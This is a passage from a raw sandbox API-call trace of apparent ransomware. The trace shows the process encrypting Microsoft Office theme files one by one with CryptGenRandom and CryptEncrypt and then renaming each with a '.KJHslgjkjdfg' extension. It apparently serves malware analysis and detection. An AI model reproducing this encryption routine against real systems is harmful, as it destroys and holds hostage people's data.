lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.681] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.681] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15a56, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x15a56, lpOverlapped=0x0) returned 1 [0196.683] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15a60, dwBufLen=0x15a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15a60) returned 1 [0196.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.684] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15a60, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x15a60, lpOverlapped=0x0) returned 1 [0196.685] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.685] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.685] SetEndOfFile (hFile=0x124) returned 1 [0196.688] GetProcessHeap () returned 0x2a0000 [0196.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.688] GetProcessHeap () returned 0x2a0000 [0196.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.kjhslgjkjdfg")) returned 1 [0196.690] CloseHandle (hObject=0x124) returned 1 [0196.690] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0196.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.692] GetProcessHeap () returned 0x2a0000 [0196.693] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.693] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.693] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.693] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xb, lpOverlapped=0x0) returned 1 [0196.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.695] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.695] GetProcessHeap () returned 0x2a0000 [0196.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.695] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.695] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.695] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.695] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.695] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.695] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.695] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.695] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.695] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x109e5, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x109e5, lpOverlapped=0x0) returned 1 [0196.697] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x109f0, dwBufLen=0x109f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x109f0) returned 1 [0196.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.698] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x109f0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x109f0, lpOverlapped=0x0) returned 1 [0196.698] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.698] SetEndOfFile (hFile=0x124) returned 1 [0196.701] GetProcessHeap () returned 0x2a0000 [0196.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.701] GetProcessHeap () returned 0x2a0000 [0196.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.kjhslgjkjdfg")) returned 1 [0196.703] CloseHandle (hObject=0x124) returned 1 [0196.703] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0196.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.705] GetProcessHeap () returned 0x2a0000 [0196.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.705] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.705] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0196.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.707] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.707] GetProcessHeap () returned 0x2a0000 [0196.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.707] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.707] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.707] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.708] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.708] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.708] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.708] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.708] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1763b, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1763b, lpOverlapped=0x0) returned 1 [0196.710] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x17640, dwBufLen=0x17640 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x17640) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17640, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x17640, lpOverlapped=0x0) returned 1 [0196.712] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.712] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.712] SetEndOfFile (hFile=0x124) returned 1 [0196.715] GetProcessHeap () returned 0x2a0000 [0196.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.715] GetProcessHeap () returned 0x2a0000 [0196.715] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.kjhslgjkjdfg")) returned 1 [0196.717] CloseHandle (hObject=0x124) returned 1 [0196.717] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0196.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.719] GetProcessHeap () returned 0x2a0000 [0196.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.720] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.720] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.720] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xd, lpOverlapped=0x0) returned 1 [0196.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.722] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.722] GetProcessHeap () returned 0x2a0000 [0196.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.722] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.722] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.722] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.722] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.722] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.723] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.723] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.723] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.723] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.723] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9ff03, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x9ff03, lpOverlapped=0x0) returned 1 [0196.735] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x9ff10, dwBufLen=0x9ff10 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x9ff10) returned 1 [0196.743] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.743] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9ff10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x9ff10, lpOverlapped=0x0) returned 1 [0196.745] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.745] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9ffe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.745] SetEndOfFile (hFile=0x124) returned 1 [0196.749] GetProcessHeap () returned 0x2a0000 [0196.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.749] GetProcessHeap () returned 0x2a0000 [0196.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.kjhslgjkjdfg")) returned 1 [0196.751] CloseHandle (hObject=0x124) returned 1 [0196.751] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0196.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.753] GetProcessHeap () returned 0x2a0000 [0196.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.753] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.754] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0196.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.757] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.757] GetProcessHeap () returned 0x2a0000 [0196.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0196.757] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0196.757] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.757] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0196.757] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.757] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.757] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.758] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.758] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.758] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18c11, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x18c11, lpOverlapped=0x0) returned 1 [0196.761] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x18c20, dwBufLen=0x18c20 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x18c20) returned 1 [0196.762] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.763] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18c20, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x18c20, lpOverlapped=0x0) 